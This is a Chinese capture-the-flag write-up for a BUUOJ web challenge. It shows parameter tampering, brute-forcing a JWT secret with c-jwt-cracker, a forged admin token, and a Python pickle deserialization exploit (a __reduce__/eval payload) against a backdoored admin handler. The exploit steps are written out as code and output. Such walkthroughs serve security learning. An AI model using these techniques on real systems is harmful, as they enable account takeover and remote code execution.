前言
文章所涉及的资料来自互联网整理和个人总结,意在于个人学习和经验汇总,如有什么地方侵权,请联系本人删除,谢谢!本文仅用于学习与交流,不得用于非法用途!
题目
提示是要买到Iv6,有很多页面,需要写脚本来找
import requests
url="http://5d13c449-296b-4491-9240-52ac885c1bc3.node3.buuoj.cn/shop?page="
for i in range(0,400):
r=requests.get(url+str(i))
if 'lv6.png' in r.text:
print (i)
break
头部可以根据自己的来填或者不填,运行出来知道lv6在181页面
随便注册一个用户登录进去,点开这个用户
提示flag就是它没错了,尝试购买它,发现不能购买,不够钱,用户默认只有1000
但是看到这个优惠券,我选择抓包看一下
更改discount即为修改折扣,修的低一点就能买了
买完之后跳转到了b1g_m4mber
界面,提示只能够admin访问,再次抓一下包
这里就要涉及到JWT的知识了,具体了解可以看下这篇文章https://www.cnblogs.com/cjsblog/p/9277677.html
总的来说,JWT分三部分,第一第二部分可以用base64解码看到
HS256是第三部分(即签名部分)的加密方式,这里username的aaa就是我创建的用户名,但可不能想着单独把username直接改成admin就能完事,后面的签名部分是依靠前面的数据加密而来的,同时也会验证前面的数据是否正确,所以更改admin的同时还需要更改签名部分的密文。
为了得到签名部分,你必须有编码过的header、编码过的payload、一个秘钥,签名算法是header中指定的那个,然对它们签名即可。 这句话中提及,还需要有一个秘钥,那么秘钥需要怎么来呢?
对JWT进行爆破攻击,得到我们秘钥,使用的工具:c-jwt-cracker
- 使用c-jwt-cracker需要我们在我们linux里安装好openssl头文件。
- 在linux的配置命令是:apt-get install libssl-dev
- 下载好c-jwt-cracker,还需要在工具所在目录执行make命令,目的是让文件makefile运行起来。
- 编译完后会生成一个jwtcrack文件。
得到秘钥为1Kun
,然后我们需要去到JWT官网重新编辑数据得到恶意JWT
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.40on__HQ8B2-wM1ZSwax3ivRK4j54jlaXv-1JjQynjo
更改提交后得到以下界面
提示了源码好像,下载下来看看,不会做了…
看了看大佬的wp,大概就懂了一点。
源代码里面有一个hint,unicode编码。解码后提示我们有后门,在admin.py这个文件里面
from sshop.base import BaseHandler
import pickle
import urllib
class AdminHandler(BaseHandler):
@tornado.web.authenticated
def get(self, *args, **kwargs):
if self.current_user == "admin":
return self.render('form.html', res='This is Black Technology!', member=0)
else:
return self.render('no_ass.html')
@tornado.web.authenticated
def post(self, *args, **kwargs):
try:
become = self.get_argument('become')
p = pickle.loads(urllib.unquote(become))
return self.render('form.html', res=p, member=1)
except:
return self.render('form.html', res='This is Black Technology!', member=0)
主要看传入的become,这里就是利用点,这里需要了解python的魔法方法与pickle
pickle
就是python的序列化模块,有关于pickle与python的魔法方法可以去看看这篇文章
urllib.unquote则是解码httpheaders的函数,它与urllib.urlencode函数的区别就在于把%2F,%40这种特殊字符显示出来
再看看这些魔法方法
我们需要用到__reduce__
,当__reduce__
被定义之后,该对象被Pickle时就会被调用我们这里的eval用于重建对象的时候调用,再该方法被调用时,在方法内告诉python使用eval读取flag文件,就能达到恶意执行命令的效果,EXP:
import pickle
import urllib
class payload(object):
def __reduce__(self):
return (eval, ("open('/flag.txt','r').read()",))
a = pickle.dumps(payload())
a = urllib.quote(a)
print a
运行脚本就能够得到这一串
c__builtin__%0Aeval%0Ap0%0A%28S%22open%28%27/flag.txt%27%2C%27r%27%29.read%28%29%22%0Ap1%0Atp2%0ARp3%0A.
将它传给become
得到flag